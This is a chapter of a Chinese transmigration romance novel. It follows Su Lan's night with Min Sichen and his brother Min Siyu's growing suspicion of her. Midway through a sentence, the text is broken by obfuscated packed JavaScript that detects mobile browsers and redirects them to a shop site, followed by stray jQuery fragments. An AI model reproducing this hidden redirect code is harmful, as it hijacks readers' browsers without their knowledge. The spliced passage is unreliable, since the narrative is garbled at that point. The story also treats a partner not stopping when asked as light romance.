31. 温柔

作品:《和偏执前任穿书后

    一刻钟后才收到回复。不过不是闵司臣,是林助理。


    他到门口了,在停车场。让苏澜不用急,准备结束时再告知他就行。


    还是林助理说话好听,苏澜没让他多等,用完最后一口甜品,这顿晚餐就算结束。


    依依不舍和之音道了别。


    许之音得知她晚上要去闵司臣那里,眼睛都亮了!


    “哦~”地长叹一声,若有所思地坏笑起来。


    送她上了车,顺便和林词打过招呼,许之音才放心离开。


    她一走,夜晚便寂静许多。


    苏澜坐在后座,路上问林助理今晚有什么事,林词没有回答。


    “闵董只说有事。其他没吩咐的,我们也不好过问。”


    林词透过后视镜向她抱歉,“不过,能看出闵董今天心情不好……对您如果疏忽了些,还请您谅解。”


    其实是在提醒她,现在这个节骨眼,最好还是不要再招惹他。


    苏澜默默应下,一路无话。


    快要抵达,她才注意到这不是去禄河湾的路。


    抵达市中心一栋高层,林助理解释说,是闵司臣另一套私人用的房产。


    将她电梯送到顶层,林词便离开了。苏澜自己按的门铃,埋着头,两只手抓着包包,从监控的视角往下看,活像只犯了错被罚站的小猫。


    不过小猫很不服气。门一开,眨眼功夫钻到人身后了。


    “这么晚找我,什么事啊?”


    等着闵司臣缓缓转身,苏澜才看清他表情。


    确实够难看的。


    他没打领带,领子敞开两颗,露出颈上的痣。自上而下俯视着她,一字未言,只是靠近。


    “怎、怎么了。”


    他靠近,苏澜就后退。退到没地方了,背靠着巨大的落地窗。


    往下两百多米的高空,看一眼,叫人不自觉有些腿软。


    他手按在窗上,埋头靠近她颈侧,动物一样嗅着她气味。


    靠得太近,苏澜被他的气味强行包围:“你喝酒了?”


    怪不得觉得他和平常有些不一样。可在她家的时候,不是还说下午有事,不能喝吗?


    拿过一份文件,闵司臣递到她眼前。苏澜有些犹豫地翻开,扫到标题时目光便一怔。


    竟然是那份合作案的通过稿。


    “满意了?”


    他沉声问她。


    “不是说,还在让冯昱城改方案吗?”


    苏澜心里那股硬气突然找不到了,声音也跟着变小:“怎么这么快,字都签好了?”


    他伸手,抬起她脸,强行将她的目光从文件转移到自己身上,眼神深得像是要吃人一样,态度很差:


    “你真的,很喜欢提他名字。”


    她哪有,这不就是正常交流吗。


    苏澜一阵没来由的心虚,扑着睫毛,巴巴望着他:“你吃醋啦?”


    不知道为什么,今晚看姓闵的突然顺眼许多。


    虽然他眼神还是那样冷冰冰的,眉毛又皱着,优越的骨相像是旧时候的雕像,近乎完美而不可接近。


    “苏小姐恐怕忘了,自己现在,是和谁在交往?”话音带着酒气,他的手顺势摸了上来。


    手很冰,在燥热夏夜,那份触感格外鲜明。


    这个距离太危险了。


    苏澜控制不住地想往上逃,可踮起脚,也只会靠他越来越近。


    站不稳了,苏澜本能地环住他颈项。呼吸交融在一处,这样的姿势,像是在向他索求一般。


    往上还好,当他路线往下时,苏澜是真的慌了。


    就知道大晚上来他家准没好事!


    他总是这样的,开始时会很温柔,把她伺候得服服帖帖、迷迷糊糊的,等她身体软了没力气了,进入正题时就由不得她喊停了。


    ……


    果然,一觉醒来苏澜欲哭无泪。瘫在床上从头到尾哪哪儿都痛!


    她再也、再也、再也不要信他说什么“有事”,笨蛋一样大晚上把自己送上门了!!


    【恭喜啊苏小姐!】


    啊啊啊脑子里怎么还有个破系统啊!苏澜快碎了,翻个面把自己埋在枕头里。


    【虽然不知道发生了什么,世界线不稳定度竟然在一夜之间降低了十八个点!苏小姐,您究竟是怎么做到的?】


    苏澜:你走吧。让我哭一会。


    【确实是相当震撼,吾也是十分感动呢!】


    系统过来往她伤口上撒了两把盐,然后走了。


    扶着腰翻身下床,苏澜可怜巴巴看着自己身上新增的可疑痕迹,每一处都对应着昨晚某人毫无节制的罪行。


    换好衣服到客厅,闵司臣这回竟然亲自下厨。简单干净的白衬衫,围着围裙,很特别的感觉。


    苏澜在网上看到过,好像是叫做人夫感。不过谁要是嫁给他才倒霉了呢……


    靠,这个人好像是她自己!


    “醒了?”


    听到脚步,男人空出手递盘子给她,“想吃什么。”


    哼,现在知道问她意见了?昨晚把她弄得快哭了的时候,怎么也不肯停下来,问问她还想不想要?


    苏澜现在看见他那张脸就生气!


    他做,苏澜捧着盘子在旁边吃。


    好像只要她一直吃,闵司臣就得一直做一样。


    于是苏澜就一直吃,结局是撑到不行,败给了食材储量丰沛的双开门冰箱。


    味道倒是和几个月前在禄河湾的那一顿相差无几,不过那时候,他说是助理做的。


    “之后去哪,让林词送你。”


    解掉围裙放在一旁,男人扶着桌沿,手掌轻轻贴上她腰,揉着,意有所指的一句:“还好吗。”


    “……不好!”


    苏澜故意怼他。


    她可是三年没这么折腾过了。谁知道姓闵的技巧比从前更好,真想问问他都是从哪学的……


    也是。闵司臣又不是她,身边可不缺投怀送抱的追求者。


    “我回家。”


    苏澜一个个掰起他手指,把他的手从身上挪开,自顾自走去门关。


    换好鞋,娇嗔又幽怨地望过来一眼:“送我回家。”


    ……


    集团总部。


    会议刚刚结束,男人西装革履,行色匆匆沿安全出口往下一层。


    他神色端正,穿过漫长过道,几乎所有员工都会向他点头致意。


    毕竟是上头下来的。


    在总部,即使是小小一级间的差距,恐怕也要经历数年的竞争。


    拐进走廊尽头一间不起眼的小办公室,男人轻轻将门反锁。


    “闵先生,您要的资料都集齐了。”他双手将文件呈上,鞠着躬,直到对方接过,才敢起身。


    办公桌前的人是闵司郁。


    蓝色文件夹翻开,第一页夹着苏澜的高清照片。


    有她一个人的,也有她和闵司臣在一起时的。


    闵司郁随手翻阅几页,问起别的话题:“欧洲那边怎么样?”


    “如您所料,”男人笑得恭敬又谄媚,“一切尽在掌控。”


    “非要说有什么异常的话,闵董今天没来公司。早上的会议也没有出席。”


    放在往常,这种情况确实少见。


    闵司郁有些意外,但也止于有些意外,亮起屏幕看了眼时间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612813|140731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“知道了。你回去吧。”


    临走前,男人又鞠上一躬,“还有什么能为您效力的,请尽管吩咐。”


    “什么叫为我效力?”


    闵司郁对他的表述有些不满,指腹敲着桌案,皱眉纠正:“您身为华东片区总监,我只是一位小小职员。”


    抬了抬手,示意他该离开:“做好自己分内的事就足够了。”


    “毕竟,我们都是在为集团的发展做贡献。”


    房门再度关上。


    闵司郁将手边的文件通读。


    很厚一沓,但多是些照片。尽是些他早就知晓的信息,没有找到他想要的答案。


    那日维也纳舞会,他一直守在转角处,离她不远不近的位置。


    严正德不守信他是料到了的。在他下令放火的第一刻,他唯一担心的人就是苏澜。


    闵司臣的房门是他顺手锁的。虽然知道这种小手段困住不他,但多受这两分钟的罪,也是他应得的。


    古怪的是在他赶去解救苏澜时,他很确信自己没有看错,苏澜手腕上的绳索是解开的。


    没有刀割的痕迹,是以一定的技巧挣脱的。


    只能是她自己解开的。


    彼时屋内没有别人,看守她的人几乎睡着。冲出房门,只要十秒时间就能回到一楼。


    就算是要去救闵司臣,时间也算是宽裕。


    可她为什么没有逃?如果不是为了逃跑,她的计划又是什么?


    退一万步,她什么时候这么有能力了?这种逃脱技巧,学校里好像不会教吧?


    拿起最后一张照片,是苏澜和闵司臣在塞纳河畔的合影。


    哥哥,你恐怕还不知道吧。


    她早就不是从前的她了。


    你不知道她从前讨厌甜食,你也不知道她曾说过最讨厌黑色。


    只有我注意到了。


    她不再记得从前过往,那段只属于我与她的过往。


    爸以前夸我看人很准,合作时总能看出对方是否心诚。


    这次,我也不会看错。


    我不知道你究竟用了什么手段,但这已经不重要了。


    二十年来,你从我这里夺走了太多东西。总有一天,我不会让你继续如愿。


    ……


    往后几日,无事发生。


    苏澜难得过几天风平浪静的日子。


    工作日就线上办公,完成Kahn那边一些零碎的工作,到周末就去找她家之音。


    之音这学期在学校德语课做助教,黎丞绪错过了选课,但次次都来旁听。然后十次里有八次都记不得课后作业,需要私信助教老师再三确认。


    每周五最后一节习题课结束,他都要约许之音一起吃饭,顺便给他“辅导作业”。


    之音不擅长拒绝,可又不好意思和他独处,于是时不时就会叫上苏澜一起。


    比如现在——


    苏澜端着自己一杯插着小雨伞的芒果沙冰,捧着脸,百无聊赖望着对面怎么看都不像普通朋友的某对师徒。


    “……所以,我真的有必要待在这里?”


    黎丞绪那张小麦色的脸笑得灿烂,露出一对虎牙:“苏澜姐,你有事你先回。”


    苏澜目光看向之音,又是一脸的“求你了澜澜千万别走”。


    好吧!她再玩会手机。


    点进微信,通讯录那一栏又冒小红点了。


    这个账号很奇怪。用户名是一串没意义的字母组合,头像是一片星空,朋友圈未开放。


    不认识的人她从来不加,苏澜拒绝过他很多次了。但这次打开,对方竟然填了申请备注。


    [我是黎慕思,找你有事。]